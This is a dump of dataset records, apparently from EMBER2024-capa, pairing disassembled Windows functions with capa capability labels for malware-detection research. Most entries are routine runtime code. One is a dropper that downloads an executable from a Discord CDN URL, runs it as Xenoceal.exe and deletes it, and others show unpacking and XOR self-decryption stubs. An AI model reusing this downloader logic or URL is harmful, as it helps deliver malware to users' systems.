joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140013483
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
jmp 0x140013491
mov byte [rsp + 8], 0x52
mov byte [rsp + 9], 0x74
mov byte [rsp + 0xa], 0x6c
mov byte [rsp + 0xb], 0x41
mov byte [rsp + 0xc], 0x64
mov byte [rsp + 0xd], 0x64
mov byte [rsp + 0xe], 0x46
mov byte [rsp + 0xf], 0x75
mov byte [rsp + 0x10], 0x6e
mov byte [rsp + 0x11], 0x63
mov byte [rsp + 0x12], 0x74
mov byte [rsp + 0x13], 0x69
mov byte [rsp + 0x14], 0x6f
mov byte [rsp + 0x15], 0x6e
mov byte [rsp + 0x16], 0x54
mov byte [rsp + 0x17], 0x61
mov byte [rsp + 0x18], 0x62
mov byte [rsp + 0x19], 0x6c
mov byte [rsp + 0x1a], 0x65
mov byte [rsp + 0x1b], 0
mov qword [rsp], 0
jmp 0x14001350d
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x14
jae 0x140013537
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp]
movzx ecx, byte [rsp + rcx + 8]
mov byte [rax], cl
jmp 0x140013502
mov rax, qword [rsp + 0x30]
jmp 0x140013546
add rsp, 0x28
ret
Function at 0x14000c43c
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140014c60], rbx
je 0x14000c4a3
cmp rax, rbx
jne 0x14000c496
mov ebx, 1
mov esi, ebx
jmp 0x14000c4a8
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14000c47b
mov ebx, 1
mov eax, dword [0x140014c68]
cmp eax, ebx
jne 0x14000c4c0
mov edi, 0x1f
mov ecx, edi
call fcn.140191000
jmp 0x14000c52c
mov eax, dword [0x140014c68]
test eax, eax
jne 0x14000c521
mov dword [0x140014c68], ebx
lea r15, [0x14000eba0]
lea rdi, [0x14000eb88]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14000c513
test eax, eax
jne 0x14000c517
cmp qword [rdi], r14
je 0x14000c508
mov rax, qword [rdi]
mov rcx, qword [0x14000eb40]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000c4ea
test eax, eax
je 0x14000c527
mov eax, 0xff
jmp 0x14000c682
mov dword [0x1400143e4], ebx
mov edi, 0x1f
mov eax, dword [0x140014c68]
cmp eax, ebx
jne 0x14000c553
lea rdx, [0x14000eb80]
lea rcx, [0x14000eb48]
call sub.msvcrt.dll__initterm
mov dword [0x140014c68], 2
test esi, esi
jne 0x14000c561
mov rax, r14
xchg qword [0x140014c60], rax
cmp qword [0x140014c80], r14
je 0x14000c594
lea rcx, [0x140014c80]
call fcn.14000ca70
test eax, eax
je 0x14000c594
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140014c80]
mov r9, qword [0x14000eb40]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000c5ad
mov eax, 0xff
jmp 0x14000c682
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14000c633
test ax, ax
je 0x14000c5c8
test edx, edx
jne 0x14000c633
sub ax, bx
cmp ax, di
ja 0x14000c5de
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14000c5c8
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140001878
mov dword [0x1400143e0], eax
cmp dword [0x140014400], r14d
jne 0x14000c61c
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1400143e4], r14d
jne 0x14000c631
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400143e0]
jmp 0x14000c682
cmp ax, 0x22
jne 0x14000c647
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000c5b6
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.14000caf0
add rsp, 0x28
jmp 0x14000c43c
Function at 0x6d8a22d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d8c35e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d8a2458
mov rax, qword [0x6d8c35e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d8a231c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d8a23a5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d8a2300
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d8a248d
mov rax, qword [0x6d8c35e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d8c35e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d8a2470
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d8a239e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d8a2400
add dword [0x6d8c35e4], 1
cmp edi, 8
jae 0x6d8a23d3
test dil, 4
jne 0x6d8a2444
test edi, edi
je 0x6d8a23c8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d8a245f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d8a23c8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d8a23ec
jmp 0x6d8a23c8
add rsi, qword [0x6d8c35e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d8a239e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d8a23c8
xor esi, esi
jmp 0x6d8a2327
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d8a23c8
mov rax, qword [0x6d8c35e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d8a2be0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d8c38c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d8c38a0]
test rbx, rbx
je 0x6d8a2c34
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d8a2c2b
test rsi, rsi
je 0x6d8a2c2b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d8a2c10
lea rcx, [0x6d8c38c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d8a2e70
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d8a2e80
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d8a2e90
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d8a2ed1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d8a2ec8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d8a2ed3
add rax, 0x28
cmp rax, r9
jne 0x6d8a2eb4
xor eax, eax
ret

Function at 0x6d8a2f70
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8c01f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d8a2fdd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8a2fdd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8a2fdd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8a2fd4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8a2fdf
add rax, 0x28
cmp rax, r9
jne 0x6d8a2fc0
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d8a30e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8c01f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d8a3100
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8a30f8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8a315d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8a3154
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8a3164
add rax, 0x28
cmp rax, r9
jne 0x6d8a3140
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d8a3180
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d8c01f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d8a31ee
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8a31ee
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d8a31ee
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d8a31ee
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d8a31e5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d8a31f5
add rcx, 0x28
cmp rcx, rax
jne 0x6d8a31d0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d8a3208
jmp 0x6d8a31ee
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d8a3216
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d8a31ee
test r9d, r9d
jg 0x6d8a3200
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d8a3580
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x140023500
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14002350d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14002351d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140023505
lea eax, [rcx + 1]
jmp 0x14002352b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14002353e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140023524
sub eax, 3
jb 0x14002355e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400235ad
sar eax, 1
movsxd rbp, eax
jb 0x140023594
jmp 0x14002356c
add ebx, ebx
jne 0x14002356a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140023594
inc ecx
add ebx, ebx
jne 0x14002357a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140023594
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14002358d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14002357c
add ecx, 2
jmp 0x140023599
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1400234c2
jmp 0x14002350d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x3200
mov dl, 2
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400235f9
cmp rsi, rcx
jae 0x140023601
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400235e0
cmp al, 0x8f
ja 0x1400235e0
cmp byte [rsi - 2], 0xf
je 0x1400235e6
sub al, 0xe8
cmp al, 1
ja 0x1400235ca
cmp rsi, rcx
jae 0x140023601
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400235d0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140023601
lodsb al, byte [rsi]
jmp 0x1400235e0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x21000]
mov eax, dword [rdi]
or eax, eax
je 0x14002365e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x30620]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14002360e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140023658
mov qword [rbx], rax
add rbx, 8
jmp 0x14002362e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140023698
cmp al, 0xef
ja 0x14002368a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14002366a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140023679
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400236ec
sub rsp, 0xffffffffffffff80
jmp 0x140003630
Function at 0x140003740
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rdi
sub rsp, 0x90
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rax, qword [0x1400eb950]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov byte [rsp + 0x50], 0x43
mov byte [rsp + 0x51], 0x3a
mov byte [rsp + 0x52], 0x2f
mov byte [rsp + 0x53], 0x55
mov byte [rsp + 0x54], 0x73
mov byte [rsp + 0x55], 0x65
mov byte [rsp + 0x56], 0x72
mov byte [rsp + 0x57], 0x73
mov byte [rsp + 0x58], 0x2f
mov byte [rsp + 0x59], 0x50
mov byte [rsp + 0x5a], 0x75
mov byte [rsp + 0x5b], 0x62
mov byte [rsp + 0x5c], 0x6c
mov byte [rsp + 0x5d], 0x69
mov byte [rsp + 0x5e], 0x63
mov byte [rsp + 0x5f], 0x2f
mov byte [rsp + 0x60], 0x44
mov byte [rsp + 0x61], 0x6f
mov byte [rsp + 0x62], 0x77
mov byte [rsp + 0x63], 0x6e
mov byte [rsp + 0x64], 0x6c
mov byte [rsp + 0x65], 0x6f
mov byte [rsp + 0x66], 0x61
mov byte [rsp + 0x67], 0x64
mov byte [rsp + 0x68], 0x73
mov byte [rsp + 0x69], 0x2f
mov byte [rsp + 0x6a], 0x53
mov byte [rsp + 0x6b], 0x65
mov byte [rsp + 0x6c], 0x72
mov byte [rsp + 0x6d], 0x76
mov byte [rsp + 0x6e], 0x65
mov byte [rsp + 0x6f], 0x72
mov byte [rsp + 0x70], 0x68
mov byte [rsp + 0x71], 0x65
mov byte [rsp + 0x72], 0x6c
mov byte [rsp + 0x73], 0x70
mov byte [rsp + 0x74], 0x2e
mov byte [rsp + 0x75], 0x65
mov byte [rsp + 0x76], 0x78
mov byte [rsp + 0x77], 0x65
mov byte [rsp + 0x78], 0
mov qword [rsp + 0x48], 0xf
mov qword [rsp + 0x40], 0
mov byte [rsp + 0x30], 0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.140002900
nop
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
xor edx, edx
call fcn.140017f9c
cmp eax, 0xffffffff
jne 0x1400038a5
call fcn.140002ae0
nop
cmp qword [rsp + 0x48], 0x10
jb 0x1400038a1
mov rcx, qword [rsp + 0x30]
call fcn.140003944
xor eax, eax
jmp 0x1400038ab
call fcn.140001df0
nop
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400171d0
add rsp, 0x90
pop rdi
ret

Function at 0x14000bec8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x14000bf30
call fcn.14001054c
mov r8d, 0xf0
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x14000bf30
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x14000bf52
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.14000b8e0
mov esi, eax
test rdi, rdi
je 0x14000bf50
test rbx, rbx
je 0x14000bf50
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
Function at 0x1400110af
Capabilities:
Create process on windows
Delete file
Download url
Get common file path
Move file
Receive data
Self delete

Disassembly:
jmp 0x140011970
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x7c0
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x154
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x7e8]
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x788], rax
lea rcx, [0x1400240f5]
call fcn.1400113a2
lea rax, [rbp + 0x470]
lea rcx, str.https:__cdn.discordapp.com_attachments_1169730954542202890_1173772227343306833_CristalixLauncher.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0xca
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x140011a0d
lea rcx, str.GetTempPathW_failed_n
call fcn.14001102d
mov eax, 0xfffffffe
jmp 0x140011b33
lea r9, [rbp + 0x240]
xor r8d, r8d
lea rdx, str.Xenoceal
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x140011a42
lea rcx, str.GetTempFileNameW_failed_n
call fcn.14001102d
mov eax, 0xfffffffd
jmp 0x140011b33
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x240]
lea rdx, [rbp + 0x470]
xor ecx, ecx
call fcn.140011361
test eax, eax
je 0x140011a7d
lea rcx, str.URLDownloadToFileW_failed_n
call fcn.14001102d
mov eax, 0xfffffffb
jmp 0x140011b33
lea rcx, str.File_downloaded_successfully._n
call fcn.14001102d
lea rdx, str.Xenoceal.exe
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x140011ab4
lea rcx, str.MoveFile_failed_n
call fcn.14001102d
mov eax, 0xfffffff7
jmp 0x140011b33
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.Xenoceal.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x140011af6
lea rcx, str.ShellExecuteW_failed_n
call fcn.14001102d
mov eax, 0xfffffff5
jmp 0x140011b33
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.Xenoceal.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140011b25
lea rcx, str.DeleteFile_failed_n
call fcn.14001102d
mov eax, 0xfffffff3
jmp 0x140011b33
lea rcx, [0x14001b018]
call fcn.14001102d
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ad00]
call fcn.140011325
mov rax, rdi
mov rcx, qword [rbp + 0x788]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x790]
pop rdi
pop rsi
pop rbp
ret

Function at 0x14001121c
Capabilities:
Terminate process

Disassembly:
jmp 0x140013100
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011299
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014490
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400144b0
xor al, al
jmp 0x140014531
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400144c3
xor al, al
jmp 0x140014531
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400144ed
xor al, al
jmp 0x140014531
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014501
xor al, al
jmp 0x140014531
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014513
xor al, al
jmp 0x140014531
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001452f
xor al, al
jmp 0x140014531
mov al, 1
add rsp, 0x38
ret
Function at 0x140c65828
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140c65832
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140c6585b
pop rbp
sub rbp, 0x33
sub rbp, 0xc65828
sub rsp, 0x20
jmp 0x140c6587a
mov rax, 0xc65828
add rax, rbp
add rax, 0x84
mov rcx, 0x647
mov rdx, 0x55c380ba
xor byte [rax], dl
inc rax
dec rcx
jne 0x140c65899
jmp 0x140c658b0
xor edx, dword [rbx + 0x31]
xor eax, dword [rsi - 0xd454546]
cmp edi, dword [rbx - 0x4e]
mov ebx, 0xbbf2baba
push rbx
bnd jge 0x140c65940
mov dh, 0xba
mov edx, 0x787df2ba
xchg edx, eax
mov edx, 0x4df2baba
pop rax
mov ebx, 0xb63b317b
mov edx, 0xbbf2baba
push rdx
invalid
mov edx, 0x3753baba
mov eax, 0x52e8baba
invalid